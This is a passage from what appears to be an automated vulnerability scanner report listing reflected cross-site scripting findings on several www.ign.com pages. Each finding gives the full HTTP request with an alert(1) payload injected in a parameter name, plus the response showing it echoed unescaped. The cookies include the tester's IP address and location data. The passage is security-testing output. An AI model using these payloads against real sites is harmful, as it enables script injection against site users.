Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/index/news.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dfd37"-alert(1)-"187b0365402 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/news.html?dfd37"-alert(1)-"187b0365402=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:10:00 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:10:00 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: freq=c-1297044599856v-3n-12mc+1297044599856mv+3mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 139542

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN.com: Video Gam
...[SNIP]...
f(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://www.ign.com/index/news.html?dfd37"-alert(1)-"187b0365402=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.587. http://www.ign.com/index/news.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/index/news.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9bbae"><script>alert(1)</script>4adf1e47a9b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/news.html?9bbae"><script>alert(1)</script>4adf1e47a9b=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:09:47 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:09:47 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: freq=c-1297044587031v-3n-12mc+1297044587031mv+3mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 139602

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN.com: Video Gam
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://www.ign.com/index/news.html?9bbae"><script>alert(1)</script>4adf1e47a9b=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.588. http://www.ign.com/index/podcasts.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/index/podcasts.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fed47"-alert(1)-"c2dce95a285 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/podcasts.html?fed47"-alert(1)-"c2dce95a285=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:10:13 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:10:13 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: freq=c-1297044613785v-3n-12mc+1297044613785mv+3mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=6og6s15od8pro;Path=/indx
Set-Cookie: JSESSIONID=45a4pi1js8luo;Path=/indx
Content-Length: 119349

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN.com: Video Gam
...[SNIP]...
peof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://www.ign.com/index/podcasts.html?fed47"-alert(1)-"c2dce95a285=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.589. http://www.ign.com/index/podcasts.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/index/podcasts.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 96316"><script>alert(1)</script>d349af1d8b7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/podcasts.html?96316"><script>alert(1)</script>d349af1d8b7=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:09:56 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:09:56 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: freq=c-1297044596473v-3n-12mc+1297044596473mv+3mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=t66daj8235f5;Path=/indx
Set-Cookie: JSESSIONID=y3n2c8ujlamy;Path=/indx
Content-Length: 119411

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN.com: Video Gam
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://www.ign.com/index/podcasts.html?96316"><script>alert(1)</script>d349af1d8b7=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.590. http://www.ign.com/index/previews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/index/previews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5f981"-alert(1)-"84e8757647c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/previews.html?5f981"-alert(1)-"84e8757647c=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:10:39 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:10:39 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: freq=c-1297044639229v-3n-12mc+1297044639229mv+3mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 137118

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN.com: Video Gam
...[SNIP]...
peof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://www.ign.com/index/previews.html?5f981"-alert(1)-"84e8757647c=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.591. http://www.ign.com/index/previews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/index/previews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a5707"><script>alert(1)</script>9b78e54ee82 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/previews.html?a5707"><script>alert(1)</script>9b78e54ee82=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:10:10 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:10:10 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: freq=c-1297044610024v-3n-12mc+1297044610024mv+3mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 137180

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN.com: Video Gam
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://www.ign.com/index/previews.html?a5707"><script>alert(1)</script>9b78e54ee82=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.592. http://www.ign.com/index/release.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/index/release.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4102a"><script>alert(1)</script>b7d1501e154 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/release.html?4102a"><script>alert(1)</script>b7d1501e154=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:10:37 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:10:37 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: freq=c-1297044636980v-3n-12mc+1297044636980mv+3mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 217137

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>New Video Games, R
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://www.ign.com/index/release.html?4102a"><script>alert(1)</script>b7d1501e154=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.593. http://www.ign.com/index/release.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/index/release.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bc7bf"-alert(1)-"db791cd8cf8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/release.html?bc7bf"-alert(1)-"db791cd8cf8=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:10:40 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:10:40 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: freq=c-1297044640741v-3n-12mc+1297044640741mv+3mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 217075

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>New Video Games, R
...[SNIP]...
ypeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://www.ign.com/index/release.html?bc7bf"-alert(1)-"db791cd8cf8=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.594. http://www.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/index/reviews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 409b9"><script>alert(1)</script>a45a328b956 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/reviews.html?409b9"><script>alert(1)</script>a45a328b956=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 00:59:11 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 00:59:11 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-14395-1102228155-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 00:59:10 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297040350788v-1n-12mc+1297040350788mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 173616

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>New Video Game Rev
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://www.ign.com/index/reviews.html?409b9"><script>alert(1)</script>a45a328b956=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.595. http://www.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/index/reviews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 12762"-alert(1)-"2f9306d4c5f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/reviews.html?12762"-alert(1)-"2f9306d4c5f=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 00:59:14 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 00:59:14 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-3558-780065162-11;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 00:59:14 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297040354636v-1n-12mc+1297040354636mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 178016

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>New Video Game Rev
...[SNIP]...
ypeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://www.ign.com/index/reviews.html?12762"-alert(1)-"2f9306d4c5f=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.596. http://www.ign.com/index/upcoming.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/index/upcoming.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 18897"-alert(1)-"3c7c1b087ca was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/upcoming.html?18897"-alert(1)-"3c7c1b087ca=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
